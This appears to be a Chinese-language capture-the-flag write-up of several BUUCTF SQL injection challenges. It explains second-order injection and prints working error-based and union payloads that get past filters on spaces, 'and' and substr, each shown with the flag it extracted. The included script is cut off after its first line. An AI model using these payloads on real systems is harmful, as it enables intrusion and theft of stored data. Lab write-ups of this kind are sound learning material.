BUUCTF
[RCTF2015]EasySQL
一个登录页面,应该要先注册进入
随便注册
进入发现可以修改密码 第一想法就是二次注入
什么是二次注入
参考文章:https://www.cnblogs.com/jackie-lee/p/16124022.html
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,**恶意数据被读取并进入到SQL查询语句**所导致的注入。防御者即使对用户输入的恶意数据进行转义,当数据插入到数据库中时被处理的数据又被还原,Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。 |
SQL二次注入,指的是在有些应用场景下,我们先把SQL注入的payload写入到目标站点数据库中,然后再在某些实际将该数据取出,使得我们写入的payload执行。 |
所以也就是满足这两个条件即可 |
这里情况相符
现在注册页面构造恶意的payload
fuzz发现uesrname这”没过滤
在注册账号这里username 这写入Gu0f3n”
修改密码这发现报错
猜测语句为
select * from user where username="Gu0f3n" " and password=' 5134f78f6e827c2a7e8767020cf23cbf'' |
双引号闭合有报错
尝试报错注入
||用来拼接 发现空格 /**/同时被过滤了括号绕过空格
直接查表
username=Gu0f3n"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))# |
XPATH syntax error: ‘:article,flag,users’
查列
username=Gu0f3n"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))# |
XPATH syntax error: ‘:flag’
flag在user表里
这里有个坑
因为限制长度所以列名没有显示清楚regexp(‘’^r’)
用来把想要的列名筛选出来and被过滤了用&&
username=Gu0f3n"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))# |
username=Gu0f3n"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))# |
XPATH syntax error: ‘:name,pwd,email,real_flag_1s_here’
regexp
是一个正则表达式匹配操作符,通常用于检查某个字符串是否符合指定的正则表达式模式。
整个 regexp('^f')
的作用是筛选出 以字母 f
开头的值。^
:表示匹配字符串的开始
username=Gu0f3n"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))# |
XPATH syntax error: ‘~flag{24b07aef-f8cc-4348-a482-12’
过滤了substr mid 等函数 用reverse函数
反转即可https://tool.box3.cn/reverse.html
username=Gu0f3n"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))# |
XPATH syntax error: ‘~}c4d832e9db21-284a-8434-cc8f-fe’
反转拼接即可
flag{24b07aef-f8cc-4348-a482-12bd9e238d4c}
重开靶机用脚本试试
脚本
import requests |
先正序在逆序
之后拼接一下就可以出
flag{95001f84-9ad6-499b-9a06-9c0d2e6b8d4c}
October 2019 Twice SQL Injection
二次注入
简介这有回显
原理一样,注册页面没有过滤 直接盲猜表和列为flag
username=1' union select flag from flag# |
flag{77a8ffbc-ad0e-4968-be7e-4c81898910a6}
[极客大挑战 2019]BabySQL
注入点在password
替换为空的是select union or
正常注入即可